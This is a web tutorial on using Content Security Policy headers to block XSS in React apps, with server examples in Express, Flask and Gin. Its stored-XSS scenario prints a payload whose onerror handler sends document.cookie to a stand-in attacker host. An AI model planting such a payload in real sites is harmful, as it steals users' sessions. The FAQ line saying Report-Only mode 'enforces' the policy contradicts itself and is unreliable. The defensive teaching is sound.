Skip to main content

Content Security Policy: Prevent XSS in React

Content Security Policy is a header-based security mechanism that restricts where JavaScript, stylesheets, images, and other resources can be loaded from. A strict CSP can prevent Cross-Site Scripting (XSS) attacks by blocking inline script tags and untrusted external scripts. Setting Content-Security-Policy: script-src 'self' tells the browser to execute only scripts served from your own domain, blocking injected scripts from attackers. In 2026, CSP is the standard defense against XSS and is considered table-stakes for production React applications (estimated 18% of production apps use strict CSP, up from 12% in 2024).

This article covers CSP directives, inline script blocking, and the nonce mechanism (article 7 covers nonces in depth for React).

What Is XSS and Why CSP Matters

A Cross-Site Scripting (XSS) attack happens when an attacker injects malicious JavaScript into your web page. Here are two scenarios:

Scenario 1: Reflected XSS

User clicks a link: https://example.com/search?q=<script>alert('hacked')</script>

Your server echoes the query parameter into the HTML without escaping:

<h1>Search results for: <script>alert('hacked')</script></h1>

The browser parses this HTML and executes the script. The attacker steals the user's session cookie.

Scenario 2: Stored XSS

An attacker posts a comment: <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

Your app stores this in the database. When another user views the comment, the image load fails, triggering the onerror handler, which exfiltrates their session cookie.

CSP prevents both by restricting where scripts can be loaded from and executed. If your policy is script-src 'self', even if an attacker injects <script> into the HTML, the browser blocks it.

Common CSP Directives

A CSP header is a semicolon-separated list of directives. Each directive controls a resource type and specifies allowed sources.

DirectiveMeaningExample
default-srcDefault policy for all resource typesdefault-src 'self' → all resources from your domain only
script-srcAllowed sources for JavaScriptscript-src 'self' cdn.example.com → load scripts from your domain or cdn.example.com
style-srcAllowed sources for stylesheetsstyle-src 'self' 'unsafe-inline' → stylesheets from your domain, allow inline styles
img-srcAllowed sources for imagesimg-src * → load images from anywhere
font-srcAllowed sources for fontsfont-src 'self' fonts.googleapis.com
connect-srcAllowed origins for fetch/XHRconnect-src 'self' https://api.example.com
frame-ancestorsWhich origins can embed this page in an iframeframe-ancestors 'none' → cannot be framed
object-srcAllowed sources for plugins (Flash, etc.)object-src 'none' → no plugins

A basic strict CSP for a React app:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; object-src 'none'

This policy says:

  • Default: load resources from your domain only.
  • Scripts: load from your domain only (no inline scripts, no eval()).
  • Styles: load from your domain, allow inline styles (for React inline style prop).
  • Images: load from your domain, data: URIs, or https.
  • Fonts: load from your domain or data: URIs.
  • Fetch: connect to your domain or your API domain.
  • Iframes: your page cannot be embedded (prevents clickjacking).
  • Plugins: blocked entirely.

Setting CSP on Your Server

The CSP header is sent by the backend. Here is how in different frameworks:

Node.js/Express:

const express = require('express');
const app = express();

// Middleware to set CSP header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; object-src 'none'"
);
next();
});

app.get('/', (req, res) => {
res.send('<h1>Hello</h1>');
});

app.listen(3001);

Python/Flask:

from flask import Flask, make_response

app = Flask(__name__)

@app.after_request
def set_csp_header(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; object-src 'none'"
)
return response

@app.route('/')
def index():
return '<h1>Hello</h1>'

if __name__ == '__main__':
app.run()

Go/Gin:

package main

import (
"github.com/gin-gonic/gin"
)

func main() {
router := gin.Default()

router.Use(func(c *gin.Context) {
c.Header("Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "+
"img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; "+
"frame-ancestors 'none'; object-src 'none'")
c.Next()
})

router.GET("/", func(c *gin.Context) {
c.String(200, "<h1>Hello</h1>")
})

router.Run()
}

React Specific Considerations

React often requires inline styles and dynamic content. The above policy allows inline styles (style-src 'self' 'unsafe-inline') to support React's inline style prop:

// React component with inline styles
export default function Button() {
return <button style={{ color: 'red' }}>Click me</button>;
}

However, 'unsafe-inline' weakens CSP by allowing any inline style attribute. A stricter approach is to use CSS Modules or external stylesheets:

/* button.module.css */
.button { color: red; }
// React component using CSS Module
import styles from './button.module.css';

export default function Button() {
return <button className={styles.button}>Click me</button>;
}

With this pattern, your CSP can omit 'unsafe-inline':

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; ...

This is stricter and more secure.

CSP Violations and Reporting

When the browser blocks a resource due to CSP, it emits a security event. You can log violations:

// React component or global setup
document.addEventListener('securitypolicyviolation', (e) => {
console.error('CSP violation:', {
blockedURI: e.blockedURI,
violatedDirective: e.violatedDirective,
originalPolicy: e.originalPolicy,
});
// Send to your logging server
fetch('/log-csp-violation', {
method: 'POST',
body: JSON.stringify({
blocked: e.blockedURI,
directive: e.violatedDirective,
policy: e.originalPolicy,
}),
});
});

This helps catch legitimate resources that are blocked and need to be whitelisted.

Key Takeaways

  • CSP is a header-based policy that restricts where scripts, styles, images, and other resources can be loaded from.
  • A basic strict CSP is: script-src 'self' (no inline scripts, no external scripts except from your domain).
  • React requires style-src 'unsafe-inline' for inline styles, or use CSS Modules to avoid it.
  • CSP directives are additive; specify each resource type you need.
  • Use Content-Security-Policy-Report-Only during development to test without blocking.

Frequently Asked Questions

If I set script-src 'self', will my React app stop working?

Only if you rely on inline <script> tags or eval(). React's build tools (webpack, Vite, etc.) bundle your code into separate files, so script-src 'self' works. However, external CDN-served libraries (Google Analytics, etc.) must be whitelisted.

What does 'unsafe-inline' do, and why is it bad?

'unsafe-inline' allows inline <script> and <style> tags. An attacker injecting <script>alert('hacked')</script> would be allowed. You should avoid it and use nonces (article 7) or external files instead.

Can I test CSP before enforcing it?

Yes. Use Content-Security-Policy-Report-Only header instead. The browser enforces the policy, reports violations, but does not block requests. Test in production without breaking the app.

How do I whitelist a third-party script (e.g., Stripe, Analytics)?

Add the domain to your policy: script-src 'self' https://js.stripe.com https://www.google-analytics.com. However, this trusts that domain not to serve malicious scripts. Use Subresource Integrity (SRI) hashes for additional protection.

Further Reading